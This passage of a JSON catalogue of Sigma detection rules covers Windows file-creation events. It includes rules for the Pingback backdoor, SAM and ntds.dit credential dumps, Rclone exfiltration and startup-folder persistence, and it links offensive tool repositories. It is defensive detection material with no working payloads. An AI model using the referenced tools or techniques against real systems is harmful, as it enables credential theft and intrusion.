"file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", - "uuid": "2bd63d53-84d4-4210-80ff-bf0658f1bf78", - "value": "Pingback Backdoor", - "meta": { - "refs": [ - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", - "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pingback_backdoor.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1574.001" - ], - "creation_date": "2021/05/05", - "filename": "file_event_win_pingback_backdoor.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Very unlikely" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of known powershell scripts for exploitation", - "uuid": "f331aa1f-8c53-4fc3-b083-cc159bc971cb", - "value": "Malicious PowerShell Commandlet Names", - "meta": { - "refs": [ - "https://raw.githubusercontent.com/Neo23x0/sigma/f35c50049fa896dff91ff545cb199319172701e8/rules/windows/powershell/powershell_malicious_commandlets.yml", - "https://github.com/PowerShellMafia/PowerSploit", - "https://github.com/NetSPI/PowerUpSQL", - "https://github.com/CsEnox/EventViewer-UACBypass", - "https://github.com/AlsidOfficial/WSUSpendu/", - "https://github.com/nettitude/Invoke-PowerThIEf", - "https://github.com/S3cur3Th1sSh1t/WinPwn", - "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", - "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", - "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", - "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", - "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_exploit_scripts.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2018/04/07", - "filename": "file_event_win_powershell_exploit_scripts.yml", - "author": "Markus Neis, Nasreddine Bencherchali, Mustafa Kaan Demir", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Attempts to detect PowerShell writing startup shortcuts.\nThis procedure was highlighted in Red Canary Intel Insights Oct. 2021, \"We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence.\nAccordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats.\nIn the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL\"\n", - "uuid": "92fa78e7-4d39-45f1-91a3-8b23f3f1088d", - "value": "PowerShell Writing Startup Shortcuts", - "meta": { - "refs": [ - "https://redcanary.com/blog/intelligence-insights-october-2021/", - "https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_startup_shortcuts.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2021/10/24", - "filename": "file_event_win_powershell_startup_shortcuts.yml", - "author": "Christopher Peacock '@securepeacock', SCYTHE", - "level": "high", - "falsepositive": [ - "Unknown", - "Depending on your environment accepted applications may leverage this at times. It is recommended to search for anomalies inidicative of malware." - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects a dump file written by QuarksPwDump password dumper", - "uuid": "847def9e-924d-4e90-b7c4-5f581395a2b4", - "value": "QuarksPwDump Dump File", - "meta": { - "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/QuarksPWDump.htm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_quarkspw_filedump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ], - "creation_date": "2018/02/10", - "filename": "file_event_win_quarkspw_filedump.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects Rclone config file being created", - "uuid": "34986307-b7f4-49be-92f3-e7a4d01ac5db", - "value": "Rclone Config File Creation", - "meta": { - "refs": [ - "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_rclone_exec_file.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.002" - ], - "creation_date": "2021/05/26", - "filename": "file_event_win_rclone_exec_file.yml", - "author": "Aaron Greetham (@beardofbinary) - NCC Group", - "level": "high", - "falsepositive": [ - "Legitimate Rclone usage (rare)" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects actions caused by the RedMimicry Winnti playbook", - "uuid": "130c9e58-28ac-4f83-8574-0a4cc913b97e", - "value": "RedMimicry Winnti Playbook Dropped File", - "meta": { - "refs": [ - "https://redmimicry.com", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_redmimicry_winnti_filedrop.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2020/06/24", - "filename": "file_event_win_redmimicry_winnti_filedrop.yml", - "author": "Alexander Rausch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects a phishing attack which expands a ZIP file containing a malicious shortcut. If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder. Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.", - "uuid": "a6976974-ea6f-4e97-818e-ea08625c52cb", - "value": "RipZip Attack on Startup Folder", - "meta": { - "refs": [ - "https://twitter.com/jonasLyk/status/1549338335243534336?t=CrmPocBGLbDyE4p6zTX1cg&s=19", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ripzip_attack.yml" - ], - "tags": [ - "attack.t1547", - "attack.persistence" - ], - "creation_date": "2022/07/21", - "filename": "file_event_win_ripzip_attack.yml", - "author": "Greg (rule)", - "level": "high", - "falsepositive": "No established falsepositives", - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of files that look like exports of the local SAM (Security Account Manager)", - "uuid": "4e87b8e2-2ee9-4b2a-a715-4727d297ece0", - "value": "SAM Dump File Creation", - "meta": { - "refs": [ - "https://github.com/search?q=CVE-2021-36934", - "https://github.com/cube0x0/CVE-2021-36934", - "https://www.google.com/search?q=%22reg.exe+save%22+sam", - "https://github.com/HuskyHacks/ShadowSteal", - "https://github.com/FireFart/hivenightmare", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sam_dump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ], - "creation_date": "2022/02/11", - "filename": "file_event_win_sam_dump.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Rare cases of administrative activity" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "uuid": "fec96f39-988b-4586-b746-b93d59fd1922", - "value": "ScreenConnect Temporary Installation Artefact", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_screenconnect_artefact.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/02/13", - "filename": "file_event_win_screenconnect_artefact.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "This rule will monitor executable and script file creation by office applications. Please add more file extensions or magic bytes to the logic of your choice.", - "uuid": "c7a74c80-ba5a-486e-9974-ab9e682bc5e4", - "value": "Created Files by Office Applications", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_script_creation_by_office_using_file_ext.yml" - ], - "tags": [ - "attack.t1204.002", - "attack.execution" - ], - "creation_date": "2021/08/23", - "filename": "file_event_win_script_creation_by_office_using_file_ext.yml", - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects a Windows executable that writes files to suspicious folders", - "uuid": "1277f594-a7d1-4f28-a2d3-73af5cbeab43", - "value": "Windows Shell File Write to Suspicious Folder", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_directory.yml" - ], - "tags": "No established tags", - "creation_date": "2021/11/20", - "filename": "file_event_win_shell_write_susp_directory.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects windows executables that writes files with suspicious extensions", - "uuid": "b8fd0e93-ff58-4cbd-8f48-1c114e342e62", - "value": "Windows Binaries Write Suspicious Extensions", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_files_extensions.yml" - ], - "tags": "No established tags", - "creation_date": "2022/08/12", - "filename": "file_event_win_shell_write_susp_files_extensions.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "A General detection for files being created in the Windows startup directory. This could be an indicator of persistence.", - "uuid": "2aa0a6b4-a865-495b-ab51-c28249537b75", - "value": "Startup Folder File Write", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/12", - "https://threathunterplaybook.com/evals/apt29/detections/5.B.1_611FCA99-97D0-4873-9E51-1C1BA2DBB40D.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_startup_folder_file_write.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2020/05/02", - "filename": "file_event_win_startup_folder_file_write.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "An FP could be caused by legitimate application writing shortcuts for example. This folder should always be inspected to make sure that all the files in there are legitimate" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the usage of ADSI (LDAP) operations by tools. This may also detect tools like LDAPFragger.", - "uuid": "75bf09fa-1dd7-4d18-9af9-dd9e492562eb", - "value": "Suspicious ADSI-Cache Usage By Unknown Tool", - "meta": { - "refs": [ - "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", - "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", - "https://github.com/fox-it/LDAPFragger", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_adsi_cache_usage.yml" - ], - "tags": [ - "attack.t1001.003", - "attack.command_and_control" - ], - "creation_date": "2019/03/24", - "filename": "file_event_win_susp_adsi_cache_usage.yml", - "author": "xknow @xknow_infosec, Tim Shelton", - "level": "high", - "falsepositive": [ - "Other legimate tools, which do ADSI (LDAP) operations, e.g. any remoting activity by MMC, Powershell, Windows etc." - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious .NET assembly executions. Could detect using Cobalt Strike's command execute-assembly.", - "uuid": "e4b63079-6198-405c-abd7-3fe8b0ce3263", - "value": "Suspicious CLR Logs Creation", - "meta": { - "refs": [ - "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", - "https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/", - "https://github.com/olafhartong/sysmon-modular/blob/5e5f6d90819a7f35eec0aba08021d0d201bb9055/11_file_create/include_dotnet.xml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_clr_logs.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1059.001", - "attack.t1218" - ], - "creation_date": "2020/10/12", - "filename": "file_event_win_susp_clr_logs.yml", - "author": "omkar72, oscd.community, Wojciech Lesicki", - "level": "high", - "falsepositive": [ - "Rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process - https://twitter.com/SBousseaden/status/1388064061087260675" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Once executed, colorcpl.exe will copy the arbitrary file to c:\\windows\\system32\\spool\\drivers\\color\\", - "uuid": "e15b518d-b4ce-4410-a9cd-501f23ce4a18", - "value": "Suspicious Creation with Colorcpl", - "meta": { - "refs": [ - "https://twitter.com/eral4m/status/1480468728324231172?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_colorcpl.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564" - ], - "creation_date": "2022/01/21", - "filename": "file_event_win_susp_colorcpl.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects suspicious files created by Microsoft Sync Center (mobsync)", - "uuid": "409f8a98-4496-4aaa-818a-c931c0a8b832", - "value": "Created Files by Microsoft Sync Center", - "meta": { - "refs": [ - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_creation_by_mobsync.yml" - ], - "tags": [ - "attack.t1055", - "attack.t1218", - "attack.execution", - "attack.defense_evasion" - ], - "creation_date": "2022/04/28", - "filename": "file_event_win_susp_creation_by_mobsync.yml", - "author": "elhoim", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder", - "uuid": "5f87308a-0a5b-4623-ae15-d8fa1809bc60", - "value": "Suspicious Files in Default GPO Folder", - "meta": { - "refs": [ - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_default_gpo_dir_write.yml" - ], - "tags": [ - "attack.t1036.005", - "attack.defense_evasion" - ], - "creation_date": "2022/04/28", - "filename": "file_event_win_susp_default_gpo_dir_write.yml", - "author": "elhoim", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious Microsoft desktopimgdownldr file creation that stores a file to a suspicious location or contains a file with a suspicious extension", - "uuid": "fc4f4817-0c53-4683-a4ee-b17a64bc1039", - "value": "Suspicious Desktopimgdownldr Target File", - "meta": { - "refs": [ - "https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/", - "https://twitter.com/SBousseaden/status/1278977301745741825", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1105" - ], - "creation_date": "2020/07/03", - "filename": "file_event_win_susp_desktopimgdownldr_file.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.", - "uuid": "81315b50-6b60-4d8f-9928-3466e1022515", - "value": "Suspicious desktop.ini Action", - "meta": { - "refs": [ - "https://isc.sans.edu/forums/diary/Desktopini+as+a+postexploitation+tool/25912/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_ini.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.009" - ], - "creation_date": "2020/03/19", - "filename": "file_event_win_susp_desktop_ini.yml", - "author": "Maxime Thiebaut (@0xThiebaut), Tim Shelton (HAWK.IO)", - "level": "medium", - "falsepositive": [ - "Operations performed through Windows SCCM or equivalent", - "Read only access list authority" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Ransomware create txt file in the user Desktop", - "uuid": "caf02a0a-1e1c-4552-9b48-5e070bd88d11", - "value": "Suspicious Creation TXT File in User Desktop", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1486/T1486.md#atomic-test-5---purelocker-ransom-note", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_txt.yml" - ], - "tags": [ - "attack.impact", - "attack.t1486" - ], - "creation_date": "2021/12/26", - "filename": "file_event_win_susp_desktop_txt.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of diagcab file, which could be caused by some legitimate installer or is a sign of exploitation (review the filename and its location)", - "uuid": "3d0ed417-3d94-4963-a562-4a92c940656a", - "value": "Creation of a Diagcab", - "meta": { - "refs": [ - "https://threadreaderapp.com/thread/1533879688141086720.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_diagcab.yml" - ], - "tags": [ - "attack.resource_development" - ], - "creation_date": "2022/06/08", - "filename": "file_event_win_susp_diagcab.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate microsoft diagcab" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that windows hide default extensions by default.", - "uuid": "b4926b47-a9d7-434c-b3a0-adc3fa0bd13e", - "value": "Suspicious Double Extension Files", - "meta": { - "refs": [ - "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", - "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", - "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", - "https://twitter.com/malwrhunterteam/status/1235135745611960321", - "https://twitter.com/luc4m/status/1073181154126254080", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_double_extension.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.007" - ], - "creation_date": "2022/06/19", - "filename": "file_event_win_susp_double_extension.yml", - "author": "Nasreddine Bencherchali, frack113", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of an executable by another executable", - "uuid": "297afac9-5d02-4138-8c58-b977bac60556", - "value": "Creation of an Executable by an Executable", - "meta": { - "refs": [ - "Malware Sandbox", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_dropper.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001" - ], - "creation_date": "2022/03/09", - "filename": "file_event_win_susp_dropper.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Software installers", - "Update utilities" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation", - "uuid": "7280c9f3-a5af-45d0-916a-bc01cb4151c9", - "value": "Suspicious MSExchangeMailboxReplication ASPX Write", - "meta": { - "refs": [ - "https://redcanary.com/blog/blackbyte-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_exchange_aspx_write.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2022/02/25", - "filename": "file_event_win_susp_exchange_aspx_write.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detect creation of suspicious executable file name. Some strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths.", - "uuid": "74babdd6-a758-4549-9632-26535279e654", - "value": "Suspicious Executable File Creation", - "meta": { - "refs": [ - "https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae", - "https://app.any.run/tasks/76c69e2d-01e8-49d9-9aea-fb7cc0c4d3ad/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_executable_creation.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564" - ], - "creation_date": "2022/09/05", - "filename": "file_event_win_susp_executable_creation.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Get-Variable is a valid PowerShell cmdlet\nWindowsApps is by default in the path where PowerShell is executed.\nSo when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.\n", - "uuid": "0c3fac91-5627-46e8-a6a8-a0d7b9b8ae1b", - "value": "Suspicious Get-Variable.exe Creation", - "meta": { - "refs": [ - "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", - "https://www.joesandbox.com/analysis/465533/0/html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_get_variable.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546", - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2022/04/23", - "filename": "file_event_win_susp_get_variable.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects dropped files with LNK double extension, which is often used by malware as a method to abuse the fact that windows hide default extensions by default.", - "uuid": "3215aa19-f060-4332-86d5-5602511f3ca8", - "value": "Suspicious LNK Double Extension Files", - "meta": { - "refs": [ - "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", - "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", - "https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles", - "https://twitter.com/malwrhunterteam/status/1235135745611960321", - "https://twitter.com/luc4m/status/1073181154126254080", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_lnk_double_extension.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.007" - ], - "creation_date": "2022/11/07", - "filename": "file_event_win_susp_lnk_double_extension.yml", - "author": "Nasreddine Bencherchali, frack113", - "level": "medium", - "falsepositive": [ - "Users creating a shortcut on e.g. desktop" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious processes that write (copy) a Active Directory database (ntds.dit) file", - "uuid": "11b1ed55-154d-4e82-8ad7-83739298f720", - "value": "Suspicious Process Writes Ntds.dit", - "meta": { - "refs": [ - "https://stealthbits.com/blog/extracting-password-hashes-from-the-ntds-dit-file/", - "https://adsecurity.org/?p=2398", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_ntds_dit.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.003" - ], - "creation_date": "2022/01/11", - "filename": "file_event_win_susp_ntds_dit.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file.", - "uuid": "dca1b3e8-e043-4ec8-85d7-867f334b5724", - "value": "Suspicious PFX File Creation", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/14", - "https://threathunterplaybook.com/evals/apt29/detections/6.B.1_6392C9F1-D975-4F75-8A70-433DEDD7F622.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_pfx_file_creation.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1552.004" - ], - "creation_date": "2020/05/02", - "filename": "file_event_win_susp_pfx_file_creation.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "System administrators managing certififcates." - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", - "uuid": "b5b78988-486d-4a80-b991-930eff3ff8bf", - "value": "PowerShell Profile Modification", - "meta": { - "refs": [ - "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", - "https://persistence-info.github.io/Data/powershellprofile.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_powershell_profile.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.013" - ], - "creation_date": "2019/10/24", - "filename": "file_event_win_susp_powershell_profile.yml", - "author": "HieuTT35, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "System administrator create Powershell profile manually" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of the PROCEXP152.sys file in the application-data local temporary folder.\nThis driver is used by Sysinternals Process Explorer but also by KDU (https://github.com/hfiref0x/KDU) or Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU.\n", - "uuid": "3da70954-0f2c-4103-adff-b7440368f50e", - "value": "Suspicious PROCEXP152.sys File Created In TMP", - "meta": { - "refs": [ - "https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml" - ], - "tags": [ - "attack.t1562.001", - "attack.defense_evasion" - ], - "creation_date": "2019/04/08", - "filename": "file_event_win_susp_procexplorer_driver_created_in_tmp_folder.yml", - "author": "xknow (@xknow_infosec), xorxes (@xor_xes)", - "level": "medium", - "falsepositive": [ - "Other legimate tools using this driver and filename (like Sysinternals). Note - Clever attackers may easily bypass this detection by just renaming the driver filename. Therefore just Medium-level and don't rely on it." - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of suspcious binary files inside the \"\\windows\\system32\\spool\\drivers\\color\\\" as seen in the blog referenced below", - "uuid": "ce7066a6-508a-42d3-995b-2952c65dc2ce", - "value": "Drop Binaries Into Spool Drivers Color Folder", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_spool_drivers_color_drop.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/07/28", - "filename": "file_event_win_susp_spool_drivers_color_drop.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects when a file with a suspicious extension is created in the startup folder", - "uuid": "28208707-fe31-437f-9a7f-4b1108b94d2e", - "value": "Suspicious Startup Folder Persistence", - "meta": { - "refs": [ - "https://github.com/last-byte/PersistenceSniper", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_startup_folder_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2022/08/10", - "filename": "file_event_win_susp_startup_folder_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Rare legitimate usage of some of the extensions mentioned in the rule" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of files that indicator an interactive use of PowerShell in the SYSTEM user context", - "uuid": "5b40a734-99b6-4b98-a1d0-1cea51a08ab2", - "value": "Suspicious Interactive PowerShell as SYSTEM", - "meta": { - "refs": [ - 